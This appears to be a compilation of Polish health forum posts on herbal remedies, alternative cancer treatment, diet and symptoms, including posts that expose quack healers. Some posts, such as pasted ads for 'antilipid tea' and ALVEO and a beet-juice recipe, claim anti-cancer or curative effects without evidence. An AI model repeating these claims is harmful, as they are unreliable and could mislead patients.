& szamani doszli do znajomosci owych ziol wszelakich? Czy sie im one wysnily czy
tez moze jest to wynik zbierania przed-naukowych doswiadczen jak najbardziej
weryfikowalnych przez nauke?

>Wiem jedno- MEDYCYNA NIE JEST JEDNA.

Jest jakas medycyna nie weryfikowalna empirycznie? Nie poprzez relacje
zakurzonych aczkolwiek medycznie zielonych podroznikow tylko poprzez proby
kliniczne?

  leczenie nowotworów
leczenie nowotworów
Witam
Poszukuje kontaktu do osób, które w chorobie nowotworowej zdecydowały się
walczyć tylko z wsparciem medycyny naturalnej ( bioenergoterapia, zioła,
preparaty itd. ) proszę o kontakt anka.07@gazeta.pl

  Czy ktoś miał podobne objawy? Proszę o radę
Chcialam jeszcze napisac co o tym sadzi medycyna chinska. Diagnostyka Wschodu
opiera sie na przekonaniu, ze korzeni wszelkich chorob nalezy poszukiwac w
jamie brzusznej. Rozne problemy zaczna ustepowac, gdy tylko zaprowadzimy
porzadek w organach trawienia i w organach wydzielania.
Problemy dotyczace uszu, takie jak zawroty glowy, szumy czy gwizdy medycyna
Wschodu laczy z kregiem jelita cienkiego. Krag ten odgrywa wazna role w
odczuwaniu sily i energii. Tam, gdzie brakuje energii, pojawia sie neurastenia
i slabosc. Bardzo korzystne jest tu leczenie za pomoca diety - mieso i
ciezkostrawne potrawy bardzo obciazaja jelito.
Ucho wewnetrzne, w tym blednik, jest zas kontrolowane przez krag nerek, tak
wiec klopoty ze sluchem lub rownowaga (o ile nie ma uszkodzen mechanicznych)
swiadcza o slabej energii nerek.
Stan kregoslupa - skolioza - tez nerki.
HZT dzialala na uklad plciowy, ktory takze nalezy do kregu nerek.
Nerkom szkodzi nadmiar soli, chemikaliow, cukru, bialek zwierzecych, a
wszystko to znajduje sie w nadmiarze w naszym pozywieniu. Szkodzi im takze
stres. Rowniez czlowiek zle oddychajacy przeciaza swoje nerki.
Na stan wzroku wplyw ma dobre funkcjonowanie i kregu nerek i kregu watroby.
O zaburzeniach w kregu watroby swiadczy rowniez charakter bolu glowy - pokrywa
sie z torem pecherzyka zolciowego.
Wzmocnienie kregow nerek, watroby i jelita cienkiego powinno zaowocowac takze
wzmocnieniem kregu zoladka i sledziony, ktory kontroluje piersi (nowotwory i
zwyrodnienia o charakterze cyst). Warto uregulowac prace tego kregu przez
odpowiednia diete i tak.

Zatem odpowiednia dieta, ziola oczyszczajace i wspomagajace trawienie,
aktywnosc fizyczna, relaks i powinno byc z czasem lepiej, czego zycze. Mysle,
ze akupunktura/akupresura tez moglaby byc pomocna.

  Herbata antylipidowa
wklejam nieco info nt. herbaty antylipidowej /tzw.czyścika naczyń krwionośnych/:

Herbata ta została wyprodukowana za pomocą nowoczesnej technologii, według
starych przepisów opracowanych dla Cesarzy chińskich. Wyśmienita kompozycja
ziół na bazie zielonej herbaty powszechnie znanej, jako silny antyutleniacz i
środek przeciw - nowotworowy, pozwala osiągnąć harmonijną regulację wielu
procesów w organizmie.

SKŁAD:
• 6 rodzajów zielonej herbaty,
• gynnostemma,
• korzeń rdestu wielokwiatowego,
• siemię kasia - tora,
• liść lotosu.

DZIAŁANIE HERBATY ANTYLIPIDOWEJ
• oczyszcza organizm
• normalizuje gospodarkę tłuszczową , obniżając poziom lipidów,
• wyprowadza toksyny,
• działa przeciwgorączkowo,
• ma właściwości przeciwnowotworowe,
• poprawia funkcje organów trawiennych i śledziony,
• likwiduje wzdęcia,
• poprawia wzrok,
• tonizuje, dając energię - podnosi odporność organizmu,
• działa antyoksydakcyjnie (wyprowadza wolne rodniki),
• likwiduje stany napięcia systemu nerwowego.

STOSOWANIE:
• miażdżyca,
• niedotlenienie mózgu i serca,
• nadciśnienie, niedociśnienie,
choroby zapalne górnych dróg oddechowych,
• profilaktyka chorób nowotworowych jelit,
• marskość i stany zapalne wątroby,
• przewlekłe choroby układu trawiennego
• zatrucia pokarmowe (leki, alkohol, narkomania),
• cukrzyca,
• nerwica wegetatywna,
• zaburzenie bilansu energetycznego, syndrom chronicznego zmęczenia.

PRZECIWSKAZANIA:
• ciąża, karmienie piersią,
• dzieci do lat 12,

DAWKOWANIE:
Jedną saszetkę zalać szklanką wody o temp.80 stopni. Parzyć 15 min., po czym
saszetkę wyjąć. Napar dzielić na 4 - 5 razy, pić między posiłkami dolewając
wody do pełnej szklanki. Przy wysokim ciśnieniu pić na gorąco, przy niskim
ciśnieniu pić letni.

pozdrawiam

manyaslova

  do koszyka wrzucaj zdrowie...
Ugandyjczycy – jedzą jaja strusie. Z jednego takiego jaja można usmażyć
jajecznicę dla 10 osób.

Do koszyka wrzuć jajka, które z powodu dużej zawartości wielonienasyconych
kwasów tłuszczowych, fosforu, żelaza, miedzi i manganu mają walory dietetyczne.

Składnikiem ich diety jest również strusina, która w naszych warunkach polecana
jest szczególnie kobietom w okresie ciąży lub karmienia, ze względu na dużą
ilość nienasyconych kwasów tłuszczowych oraz kwasu arachidowego. Z powodu
niskiej zawartości sodu, mięso strusia powinny jeść również osoby z
nadciśnieniem.

Do koszyka wrzuć mięso drobiowe, ponieważ jest nisko kaloryczne i ma stosunkowo
mało cholesterolu.

Włosi – Rezygnują z niezdrowej soli, zastępując ją różnymi ziołami w zależności
od potrawy. Dzięki przyprawom dania z makaronem i pizze są bardziej aromatyczne
i zdrowe.

Do koszyka wrzuć tymianek – ponieważ jest dobry na przeziębienie, a w
szczególności na ból gardła. Zamiast niszczącej nerki soli, używaj bazylii,
estragonu, a nawet imbiru.

Nieodzownym elementem wielu potraw mieszkańców Italii są też pomidory. Dodawane
do zup, sosów, blanszowane, przecierane i przechowywane w słojach, zmniejszają
ryzyko chorób serca, rozwoju nowotworów prostaty, płuc, przewodu pokarmowego,
jelita grubego, trzustki i żołądka.

Do koszyka wrzuć świeże pomidory - dodawane do surówek są bogatym źródłem
witaminy C, która wzmacnia odporność.

Uwielbiana przez Włochów malina jest stosowana przez nich jako antidotum na
przeziębienie. Włosi robią z niej gęsty sok i wraz z rumem oraz miodem dodają
do herbaty. Malina dodawana jest także do wypieków, słodkich deserów i surówek.

Do koszyka wrzuć malinę - to doskonały środek przeciwgorączkowy i napotny

  Chroń układ odpornościowy..
Chroń układ odpornościowy..

Ludzki system immunologiczny to wewnętrzny komputer składający się ze
współpracujących ze sobą bilionów komórek, którego jedynym celem jest
utrzymanie naszego zdrowia. Pracuje dwadzieścia cztery godziny na dobę,
chroniąc narządy, tkanki, komórki i niszcząc wirusy, bakterie, drożdże,
komórki nowotworowe i toksyny.
Nawet najdoskonalszy sprzęt medyczny nie potrafi wykryć pierwszych objawów
wielu chorób, a nasz system odpornościowy tak! Od niego zależy, czy
zachorujemy na grypę, zarazimy się chorobą zakaźną lub będziemy mieć objawy
alergii. Funkcjonując bez zarzutu jest w stanie chronić nas przed całą masą
szkodliwych czynników i toksyn.
Od lat słyszymy o ogromnej liczbie czynników, które stanowią zagrożenie dla
naszego układu odpornościowego. Nadmiar substancji toksycznych w środowisku i
pożywieniu, wzrost oporności zarazków na antybiotyki, niezdrowy styl życia
(brak ruchu, niewłaściwa dieta, stosowanie w nadmiarze używek), stres – to
wszystko powoduje, że nasz organizm jest w nieustannym pogotowiu. Aby
nasz „komputer” funkcjonował prawidłowo, musimy się o niego zatroszczyć.
Podstawą jest właściwa dieta i ruch. W codziennym jadłospisie powinny się
znaleźć produkty z pełnej mąki (błonnik), warzywa, rośliny strączkowe,
niezbędne kwasy tłuszczowe NNKT pochodzące głównie z ryb i olejów, zioła,
czysta woda. Warto ograniczyć ilość alkoholu, kofeiny, nikotyny. Niezbędna
jest aktywność fizyczna, wypoczynek, odpowiednia ilość snu oraz... dobry
nastrój – udowodniono, że przygnębienie, depresja, poczucie braku miłości
osłabiają system odpornościowy

  Domowe sposoby na przeziębienie
Domowe sposoby na przeziębienie
Znalazłam w internecie babcine sposoby na przeziębienie. Sama nie stosowałam
ale może którejś z was pomogą.
Imbirowy syrop do herbaty
Korzeń imbiru ma właściwości wykrztuśne, rozgrzewające, odprężające i
bakteriobójcze; pomoże ci rozprawić się z chorobą, poprawi nastrój, gdy
czujesz się przemarznięta i rozbita.
Szklankę cukru, dwie łyżki wody i łyżeczkę octu winnego podgrzewaj na wolnym
ogniu, aż powstanie gęsty syrop, zdejmij z ognia i ostudź; do syropu włóż
pokrojone w paski kłącza imbiru i odstaw na godzinę; następnie gotuj wszystko
przez dwie godziny, nie dopuszczając do wrzenia.
Sok z rzepy
To warzywo zawiera sód, potas, magnez, wapń i żelazo oraz witaminy B1, B2, B6
i C; ten zestaw składników pobudza produkcję enzymów, hormonów oraz ciałek
krwi, niezbędnych twojemu organizmowi do skutecznego zwalczania bakterii i
wirusów.
Najlepiej w sokowirówce, ale i bez niej sobie poradzisz; rzepę zetrzyj na
drobnej tarce i dokładnie odciśnij przez gazę do szklanki; sok najlepiej pij
cztery razy w tygodniu po pół szklanki (a gdybyś złapała infekcję,
codziennie).
Sok z kwaszonych buraków
Zawiera duże ilości witaminy C i witamin z grupy B, magnez, sód, potas, wapń
oraz dwa rzadkie metale: cez i rubid; taka mieszanka nie tylko wzmacnia
odporność, chroni nawet przed rozwojem nowotworów!
Plastry buraków (kilogram) zalej przegotowaną, letnią wodą, tak by całe były
przykryte; dodaj ząbek czosnku, pół kromki razowego chleba, łyżeczkę kminku i
łyżeczkę cukru; odstaw na trzy dni w chłodne miejsce; powstałą miksturę
odcedź, przelej do butelek i zakorkuj; pij dwie małe szklaneczki dziennie.
Herbatka z angielskiego ziela
Nasiona ziela angielskiego zawierają olejek eteryczny, który działa
rozgrzewająco; napar z tej popularnej przyprawy jest świetny, gdy
przemarzniesz.
Dwie łyżki ziela zalej połową litra wody i zagotuj; następnie przestudź
napari dodaj cztery łyżki miodu: to wzmocni działanie herbatki oraz poprawi
jej smak; pij łyżkę rano i wieczorem.

  badania kontrolne po chemii
Rzeczywiście bije z Ciebie gorycz.
W standardach pisze, że odsetek przeżyć 5-letnich dla raka okrężnicy wynosi
30,8-32,4%, a dla raka odbytnicy 24-33,2%. I to jest moim zdaniem wyraźne
przesłanie, że nie każdy, ba! stosunkowo niewielu przeżyje chorobę i leczenie.

Nikt z nas nie jest Bogiem, nikt z nas nie wie, czy chory w I stopniu
zaawansowania z usuniętym w całości guzem przeżyje tego, który w tym samym
czasie miał wykrytego raka z przerzutami.
Oczywiście leczenie onkologiczne to nie bułka z masłem, po to robi się przed
każdym podaniem chemii najprostsze badania, które mówią za to bardzo wiele o
wydolności nerek, wątroby, szpiku.

Układ immunologiczny jest ważny, ale trochę przereklamowany w raku. Jest
doskonałą dźwignią handlu. Jak mozna pobudzić osłabiony układ immunologiczny do
zwalczenia choroby nowotworowej w zaawansowanym stadium, kiedy w miarę zdrowy
nie poradził sobie z pojedynczymi komórkami? Dlatego o tym standardy nie traktują.

Miałem pacjenta, który przyznał mi się w hospicjum, że zażywał jakieś azjatyckie
zioła na prostatę, i PSA miał cały czas bliskie 0 ng/ml. Bardzo się z tego
cieszył. Ale po pewnym czasie w scyntygrafii kości wyszły mu masywne przerzuty
do praktycznie wszystkich kości, pojawiły się obrzęki limfatyczne (w USG brzucha
zajęte węzły chłonne biodrowe) - a PSA ciągle zero. Okazało się, że zioła
wiązały PSA w taki sposób, że stawał się on niewykrywalny w badaniach
biochemicznych. Strasznie człowiek bolał nad tym, bo może coś dałoby się zrobić,
gdyby nie zmyłka lekarza.

Chory powinien zdać się na wiedzę i doświadczenie lekarza prowadzącego. Ci,
którzy nie wierzą w leczenie, zapewne nie mają szans na wyleczenie (kłania się
popularna obecnie - i słusznie - psychoonkologia). Jeśli chory nie ma zaufania
do kompetencji lekarza, to niech zmieni lekarza albo ośrodek, a kombinatoryka
mnogich konsultacji, o których wszyscy stykający się z chorym lekarze nie mają
pojęcia zwykle nie prowadzi do niczego dobrego.
Wiadomo, że różni lekarze mają własne schematu leczenia wspomagającego, badań
które należy wykonać. Ja w Hospicjum w tej samej sytuacji dałbym inne leki niż
moja koleżanka, to samo na radioterapii. Jak pacjent zbierze sobie leki od
różnych lekarzy i zacznie zażywać te, które sam uzna za stosowne, to lekarzowi
prowadzącemu coś może nie grać - nieraz miałem takie sytuacje.
Warto obrać jedną linie, a jeśli udaje się na konsultację do innego lekarza, to
warto to powiedzieć prowadzącemu - zwykła kultura i elementarne zaufanie.

  refleksje po smierci
refleksje po smierci
Podczas naszej dlugoletniej wojny z rakiem poznalam wielu ludzi chorych, z
wieloma utrzymywalam i nadal utrzymuje kontakt. Po smierci Mamusi mialam wiele
czasu na myslenie, wiem juz jakie bledy popelnilismy w walce z choroba. Byc
moze ten post uchroni kogos przed tymi samymi bledami.
Blad nr 1-
Jesli po zakonczeniu pierwszego leczenia onkolog podchodzi do pacjenta
niefrasobliwie i nie wysyla go na badania a jego jedynym pytaniem jest- Jak
sie Pan/Pani czuje- po czym odsyla pacjenta do domu bez skierowania na
badania, bez zadnych lekow- zmiencie lekarza. My zrobilysmy to o kilka lat za
pozno.
Blad nr 2-
Ziola z Peru (vilcacora)- moze maja swietny kompleks ziolowy do oczyszczania
organizmu z toksyn, niestety wbrew temu co twierdza nie sa w stanie pomoc z
chorobie nowotworowej.
Blad nr 3-
SELOL- My nie zdecydowalysmy sie na ten paralek w fazie badan, natomiast z 7
osob ktore rozpoczely kuracje Selolem i ktore znam osobiscie- 6 juz nie zyje.
Selol wyniszczyl szybciej ich organizmy niz nowotwor.
Blad nr 4-
Dr. Slodkowski NIE LECZY RAKA!!!! w kilku przypadkach w tym w przypadku mojej
Mamusi jego energia przyspieszyla bardzo gwaltownie rozwoj nowotworu!!!!
Blad nr 5- sprowadzanie ziol tybetanskich i chinskich preparatow ziolowych- TO
nie pomaga.
Blad nr 6- zamiast szukac alternatywnych terapii i meczyc nimi osobe chora-
zacznijcie zyc pelna piersia, robcie to co chcieliscie w zyciu zrobic a na co
moze wam zabraknac czasu. NIE MA SKUTECZNEJ TERAPII POZA TRADYCYJNA CHEMIA I
NASWIETLANIEM W LECZENIU NOWOTWORU!!! NIE DAJCIE SIE NACIAGAC OSZUSTOM, wiem
ze tonacy brzytwy sie chwyta, sama tak reagowalam na kazda nowinke.
Najskuteczniejszym lekiem na raka jest lekarz ktory nie podchodzi do pacjenta
szablonowo.

  Żerowanie na chorych na raka
Cyniznych wyłudzaczy żerujących na ludzkiej głupocie i na naiwności nie
brakuje. Biznes jest niezły - wymieszać jakieś nieszkodliwe zioła za złotówke
i sprzedawać je z kilkutysięczną marżą jako cudowny środek wzmacniający
organizm podczas chorób nowotworowych. Czasami wzmocnienie jest tak silne, że
usuwa ognisko pierwotne i wszelkie przerzuty. Największą zaletą takich
preparatów jest skuteczne drenowanie kieszeni rodzin chorych, bo anóż coś
pomoże.
Gdy się zadzwoni to takich dillerów, pytają się naprzód co pacjentowi dolega,
a później opowiadają bajkę jak cudowny preparat XXX uzdrowił niedawno pacjenta,
który był skazany przez tradycyjną medycynę na śmierć, a jego organizm
wyniszczony był nieskuteczną chemioterapią
Inną psychotechniką stosowaną przez szarlatanów jest spiskowe podejście do
świata( wie pan firmy farmaceutyczne nei chcą znaleźć lekarstwa na raka, bo
pacjenci za szybko wyzdrowieją. A jak pacjent za krótko choruje, to firma za
mało zarobi).
Często spotykane są też chwyty na egzotykę i ekologię. TAm daleko w Tybecie
wysoko wysoko w górach mieszkają bardzo dłogowieczni mnisi, którzy nigdy nie
chorują, zwłaszcza na raka, bo jedzą ..... W takich nieskażonych cywilizacją
górach rosną sobie roslinki, które mają niezwykłą leczniczą moc.
Spotykana jest metoda która jest kompilacją innych( jak kilku bajek zrobić
superbajkę). słyszałem o zestawie ziółek na zagłodzenie raka, blokujących
metabolizm węglowodorów. Choć debilizm tego pomysłu jest oczywisty, to jednak
niestety działa on na osoby bez jakiejkolwiek wiedzyz biologii.
A już szczytem cwwaniactwa był wg mnie wielokrotnie rafinowany sok z buraka
za jedyne 50 PLN za butelke 0.5 l.
Na czym polega niebezpieczne działanie szarlatanów:

  Ziółka
ALVEO – mieszanka 26 ekstraktow ziolowych

Najlepsza profilaktyka ziolowa niezbedna dla Twojego organizmu.
Przywraca rownowage w organizmie, czyli wlasciwa prace i funkcjonowanie
narzadow i organow, a to uruchamia procesy samoleczenia.

Co nam daje ALVEO?

Jasny umysl, mocne nerwy
Zapewnia lepsze dotlenianie komorek mozgowych, a tym samym lepsza koncentracje,
działa antystresowo.

Mocne serce, zdrowe naczynia krwionosne
Wzmacnia prace serca, reguluje cisnienie, przywraca sprezystosc scian naczyn
krwionosnych, obniza poziom negatywnych frakcji cholesterolu we krwi.
Fundusz Rozwoju Kardiologii zaleca preparat ALVEO w profilaktyce chorob serca.

Prawidlowe funkcjonowanie ukladu pokarmowego
Reguluje funkcje calego ukladu trawiennego poprzez optymalizacje skladu i
ilosci sokow zoladkowych, reguluje poziom cukru, harmonizuje prace watroby i
woreczka zolciowego, stymuluje prace nerek.

Sprezyste miesnie i stawy
Działa antyreumatycznie i zapobiega powstawaniu artretyzmu, przyspiesza i
reguluje przemiane materii, obniza poziom substancji toksycznych w organizmie.

Lepsza kondycje, lepsze samopoczucie
Powoduje szybsze wydzielanie kwasu mlekowego z miesni i serca i lepsze
odzywianie wszystkich tkanek.

Wieksza odpornosc przeciw obciazeniom i chorobom
Dziala tonizujaco i immunomodulujaco, posiada działania przeciwalergiczne.
Przeciwzapalne, antybakteryjne i antywirusowe. Ma działanie rewitalizujace i
remineralizujace.

Profilaktyke chorob nowotworowych
Zawiera cala game antyoksydantow, ktore wspolnie zwalczaja niebezpieczne wolne
rodniki.

Dluzsza mlodosc
Zapewnia rownowage biochemiczna, stymuluje prawidłowy rozwoj komorek,
przyspiesza procesy gojenia i regeneruje wszystkie tkanki, opoznia procesy
starzenia poprzez stymulacje produkcji naturalnego koenzymu Q10 przez nasz
organizm. Wzmacnia potencje i plodnosc.

Sposob uzycia:
Jedna miarke dziennie – 28 ml, najlepiej rano pol godziny przed jedzeniem.
Osoby powyzej 90 kg dwie miarki dziennie – 56 ml. Dzieci – ½ miarki dziennie.
Mozna stosowac maksymalnie do czterech, pieciu miarek dziennie.

  Nowotwór - jak wspomóc leczenie ?
Wiem że trudno jest w takiej sytuacji coś sensownego doradzić, ale pisanie
pierdół o skuteczności ziół czy diety optymalnej, w zaawansowanej chorobie
nowotworowej chyba jest nie na miejscu.
Szczerze życzę koledze powrotu do zdrowia.

  rumień,grudki,rogowacenie skóry na karku od 3 lat
rumień,grudki,rogowacenie skóry na karku od 3 lat
Witajcie.
Mam straszny problem- któy martwi mnie i dokucza od dawna. Byłam
wielokrotnie u dermatologów - traktowali mnie na odczepnego - 2
minuty wizyty, zerknięcie na skórę z odległości 2 metrów, zapisanie
sterydu. Brałam już Pimafucort, Dactacort, Bedicort G, maści
sterydowe robione w aptece. Wszytsko od razu przechodzi i jak
smarujęjest ok. Niestety - tydzieńpo odstawiniu leku zmiany
nawracja - często w ostrzejszej formnie niz przed leczeniem.:(

Jest to rumień na skórze karku, piekący (nie swędzi tylko piecze), w
dotyku skóra sucha , z grudkami. Na wierzchu rogowaciejący naskórek.

Boje się czy to nie jest stan przednowotworowy lub nowotwór. 4 lata
temu - byłam na górskiej wycieczce , w lipcu przy ostrym słońcu,
poparzyło mnie słońce - własnie na karku oraz na ręce. Brałam wtedy
lekarstwa przeciwgrzbicze (na żoładek, Flumycon) oraz piłam zioła
(nagietek). Dopiero niedawno dowiedizałam sie -te specyfiki mają
działanie fotouczulające.
Zastanawiam sięczy ta dolegliwość skórna moze mieć związek z tym
poparzeniem skórnym (miało on miejsce w lipcu - a zmiany
zauwazyłamna wiosnę następnego roku).
Czytam w internecie że podobne obajwy mogą być przy "Chorobie
Bowena" lub "ziarniniaku grzybiastym" - a to są raki skóry :(.
W ciagu najbliższych miesiecy planowałam ciążę - i z powodu tych
zmian odkłądam ją dalej :( ajuz dobiegam trzydziestki i jestem po
ślubie ponad 2 lata (jestesmy parą od 8 lat) i sąd chcęjuz mieć
dziecko :[

Nie orientujecie się czy po jednokrotnym oparzeniu skóry - mozna
dostać raka? Czy w badaniu krwi można znależć jakies wskazówki -
odnośnie diagnozy tej choroby? Czy ma ktos z was podobny przypadek?

  Kuchnia pięciu przemian- ktoś stosuje?
slotna napisała:
> No tak, ale czy naprawde tak uwazali panstwo naukowcy czy
> prlowskie autorytety to sobie wydumaly z roznych powodow
> (ulatwienie dla rodzicow pracujacych na zmiany niewatpliwe)?

Tego nie wiem i nie wiem, czy jest szansa dojść.

> > Homeopatia na pewno nie. Znaczy nie leczy nowotworów.
> Ooo, zdziwilabys sie ;)

O homeopatii wiem tyle, ile przeczytam. A każde opracowanie, łączne
z tymi netowymi, zaczyna się od tego, że homeopatia nie pomoże na
raka. Sądzę więc, że ci, co próbują leczyć homeopatią nowotwory, to
oszuści.

> Jednak powiedziec nalezy glosno: to ze ty i jeszcze 50 innych osob
> napisze tutaj "na mnie ta dieta dziala" nie oznacza, ze ona
> dziala. Wcale! Nie jest to absolutnie zaden dowod, chocbyscie
> szczerze (bo przeciez wierze w wasze dobre intencje, znam was w
> koncu nie od dzis ;)) byly o tym przekonane. Nie, jedynym dowodem
> sa badania kliniczne, kropka.

No. I ja tu i teraz mogę się zadeklarować, że jeśli ktoś będzie
takowe chciał przeprowadzić, to się poddam. Z dziką rozkoszą, bo
sama jestem ciekawa efektów. Ze mnie jest człowiek przede wszystkim
logiczny. I jeśli widzę efekt, to nie dam rady zamknąć na niego
oczu. Wkurza mnie, że nie rozumiem, choć w przypadku pp sądzę, iż
rozumiem częściowo - dużo przypraw, ziół, czosnku, cebuli,
różnorodność i mnogość wielu substancji, z których każda ma
dobroczynny wpływ na nasze organizmy. Jeśli się nad tym chwilę
pochylić, to nie może być inaczej.
Imbir - pełno soli mineralnych, olejków eterycznych, udowodnione
właściwości bakteriobójcze, przeciwwymiotne, przeciwzapalne,
rozgrzewa i pobudza krążenie (na tyle, że używa się go w kremach
antycellulitowych). Podobnie kurkuma.
Nasz tymianek - wszystkich przeciw... nawet nie jestem w stanie
wymienić. Itp.

Jasne, te środki są za słabe, aby zwalczyć wszystko. I ja dla siebie
też dokładam antybiotyk, gdy bakterie są silniejsze. Być może dałoby
się je zwalczyć tymi naturalnymi środkami, ale nie wiem jak, nie
wiem, nawet jak i gdzie szukać o tym informacji. Bez zastanowienia
sięgnę więc po tabletki.

Tak samo, jak wnuk przyjaciela moich rodziców. Chory na
mukowiscydozę. To choroba genetyczna, więc złe - mutacja, już się
stała. Żadna dieta go nie wyleczy, bo jak, mutacji nie cofnie. Ale
jeśli odżywia się odpowiednio, trafia do szpitala kilkakrotnie
rzadziej. I to jest duży sukces.

  ob w normie,czy może byc inny stan zapalny?
Masz może jeszcze, jakieś inne objawy np.: bóle brzucha w jakimś
konkretnym miejscu, bóle w kręgosłupie, a lbo w gólnie bolą cię może
plecy.
Robiłaś może USG jamy brzusznej, robiłaś badania krwi i sprawdzałaś
pozim amylazy , ALat, ASPAT, Birubina, albo spradzany poziom
glukozy, albo robioną gastoskopie. Poziom amylazy jest podwyższony
np. przy ostrym zapaleniu trzustki , wtedy jak się nie mylę chybha
też mogą być biegunki, bóle brzucha , kręgosłupa, mogą być być
wymioty, , bóle brzucha mogą być już też przy chorobie żołądka chyba
też dwunastnicy jelit, od wątroby. przy tylko podwyszonym alacie ,
aspacie mogą boleć jelita , żołądek i nawet plecy, też to wiem z
własnego doświadczenia, przy , przy problemach żołądkowyuch wrzodach
nadkwasocie, są bóle brzuch, może byćzgaga, swarza się też tulewanie
tak jak u mnie w przypadku problemów żołądkowych się zdarzyło. Przy
przewlekłym zapaleniu z tego co wiem nienie musi być nawet
podwyższone ani OB ani poziom amylazy wiem ponieważ choruje na
przewlekłe zapalenie trzuski spowodowane skłonnościami do kamicy,
których przyczyną może być żadka choroba, albo trzustka dwudzielna,
z tego powodu już się trochę należałam w szpitalu i z powodu ostrego
zapaenia trzustki też też już lerzałam w szpitalu. Biegunki nawet
mogą być nawet przy zespole jelita drażliwego wtedy mogą być
zaparcia, i bóle przucha. Możesz jeść np.: jogurty, a albo pić
jakieś zioła jak np.: koper włoski , albo np.: probiotyki , czasem
pomagają probiotyki przy biegunkach mnie kiedyś pomagały
probiotyki przy biegunkach i troszke, ale nie dokońca probiotyki ,
albo na jakiś czas czasami koper włoski, czasami też siemie lniane
ale raczej w prost odwrotnym przypadku niż bieguka, ale przydku
jeliata drażliwego nie powinno zaszkodzić jak w moim przypadku
pomimo chyba nakwasoty mnie przy bardzo wrażliwych lelitach
trochę pomagają probiotyki , ale myślę , że należałoby być też
wykluczyć, albo lepiej, żeby nie krwawienie z przewodu pokarmowego,
bo gdyby to się potwierdziło mogło by to oznaczac nowotwór jelita
grubego i wtedy mogłoby być do zrobienia inne paskudne badanie .
Byłaś może u gastrologa, albo gastroenterologa może , któryś z
lekarzy tej specjalizacji byłby w stanie Tobie pomóc.
Mnie np.: szkodzi stres i na żołądek i na jelita, ale już o tyle
może inna sytuacja, że musiałam miec usunięty pęcherzyk żółciowy z
powodu kamicy.
Ja także schudłam w tym roku od pierwszego pobytu w szpitalu do
narazie ostatniego pobytu w szpitalu czyli od od 14 kwietnia do 22
czerca 3, 5 kg i za każdym razem w szpitalu coraz mnie ważyłam.
Pozdrawiam.

  zioła
Stokrotka forum propaguje konwencjonalne metody leczenia nowotworow.
Ziola nie lecza choroby nowotworowej.

  Maria Wolniewicz
Niestety Maria Wolniewicz jest wg. mnie pierwszą kandydatką na
czarną listę. Byłam u niej. Zapłaciłam bardzo dużo i czego się
dowiedziałam? Ta pani w ciągu prawie całego czasu uraczyła mnie
łzawą historyjką o aniołach, duchach ziemi, podziemnych królestwach
i innych rzeczach, które "widziała" kiedy była nieprzytomna po
wypadku. Najlepsze jest to, że nie tylko mi to opowiadała -
słyszałam że to standard. Pierwsze spotkanie - historia o wypadku.
Drugie spotkanie - historyjka o delfinach (że to duchy mieszkańców
atalntydy i tym podobne brednie).I tak czas spotkania leci... a my
płacimy... Dlaczego więc tyle razy byłam? Bo słyszałam że ona ma
wielki dar i pomaga, a ja byłam wtedy w strasznym stanie i
potrzebowałam pomocy - niestety o nikim innym we wrocławiu nie
słyszałam.
Druga sprawa dotyczy całego centrum "maria" (nie wiem gdzie jest
teraz ale było na Cybulskiego). Powiem tak: tam się wciska wszystko
każdemu na każdą dolegliwość. Jakiś napromieniowany kamyk o
egzotycznej nazwie - rewelacyjny na reumatyzm, ziółka za 200zł -
rewelacyjne na ciężką chorobę psychiczną. To jakiś ABSURD!!!!!!!!!
Poza tym byłam świadkiem, jak pani Maria "przygotowywała" się do
zabiegu bioenergoterapeutycznego. Siedziała cała rodzina na kanapie
a tym czasie przyszła jakaś przedstawicielka z winami do degustacji
i pani Maria sobie popijała i to sporo każdego tego winka. Po czym
zionąc alkoholem zaprosiła "pacjenta" do gabinetu. Mogę jeszcze dużo
dużo opowiadać ale ktoś by jeszcze pomyślał, że może konkurencja
mnie nasłała. Ja po prostu chciałabym wszystkich przestrzec przed tą
panią i jej centrum. PRzede wszystkim nie podoba mi się to, że z
czym by się nie przyszło - czy to niepłodność, czy nowotwór czy
obojętnie co - oni są w stanie wszystko wyleczyć. Najlepszy był
ciężko chory chłopak, któremu chyba mąż pani marii (który też tam
pracuje) kazał pokazać leki jakie bierze (padaczka). Po czym
pomachał nad nimi wahadełkiem i zadał pytanie "czy te leki mu
pomogą". I wachadełko mu powiedziało, że "nie, nie pomogą". Po czym
pan kazał leki odstawić!!!! Bo wachadełko powiedziało, że pomogą mu
zioła, które oczywiście można kupić u nich!!!!!!!! Ludzie, tak, to
można kogoś na tamten świat posłać a nie wyleczyć!! Dlatego
ostrzegam - utopicie tam dużo pieniędzy a może nawet i stracicie
zdrowie. CZARNA LISTA!!!!

  Najsmaczniejszy lek
Natura tak to ulozyla, ze czlowiek odzywial sie tym, co znalazl i zlapal i do
teog ma przystosowane enzymy trawienne i cala rownowage organizmu.
Wiadomo, ze znalezc mozna latwiej niz zlapac, wiec podstawa zdrowej diety dla
czlowieka sa warzywa, owoce, zboza, ziola, a mieso i miod nie codziennie na pewno.
Wprowadzajac uprawe zboz i hodowle zwierzat, czlowiek zaczal zaburzac mechanizmy
regulacyjne wlasnego organizmu, a przerzucenie sie na wysokoprzetworzona, z
mnostwem chemicznych dodatkow zywnosc (np. glutaminian sodu, ktory wzmacnia
smak, jednoczesnie powodujac jedzenie wiekszych ilosci tego w czym jest zawarty,
odpowiedzialny wraz z innymi "polepszaczami" za np. nadpobudliwosc u dzieci lub
nowotwory) wraz z postepujacym bezruchem wywolalo masowe wystepowanie chorob
tzw. cywilizacyjnych - serca i ukladu krazenia, niektorych nowotworow (a to
wszak skrajny stan utraty mechanizmow regulacyjnych przez organizm).

Jesli ktos udaje, ze dowody na to nie istnieja i chce sie kopac z koniem, to
jego sprawa, ale niech zaplaci wyzsza skladke ubezpieczeniowa, tak samo jak ci,
co pala i pija powinni placic wiecej. Ich malpy, ich cyrk, skoro tak wybrali
swiadomie, niech za to placa.

Zdrowy i zrownowazony sposob odzywiania sie (bo to nie zadna dieta) wcale nie
jest niesmaczny, jest bardzo urozmaicony i bazuje na naturalnych skladnikach,
bez tej calej sztucznosci i chemii. Owszem, jest troche drozej jesli ktos nie ma
ogrodka i przygotowanie posilku moze trwac dluzej, ale to juz wybor kazdego z
osobna. A przesada w kazda strone jest niewskazana.

Ktos pytal o sol - nawet u zdrowych ludzi NADMIAR soli (a nie sol sama w sobie,
wiec argument o wypacajacych sod z litrami potu przez nadmierne cwiczenie i
nadmierne picie wody jest bezsensowny, bo to drugi koniec tego samego kija)
powoduje szybszy rozwoj nadcisnienia razem ze wszystkimi jego powiklaniami. Nie
da sie zaprzeczyc temu. Polska dieta to m.in. sporo chleba i dzienne
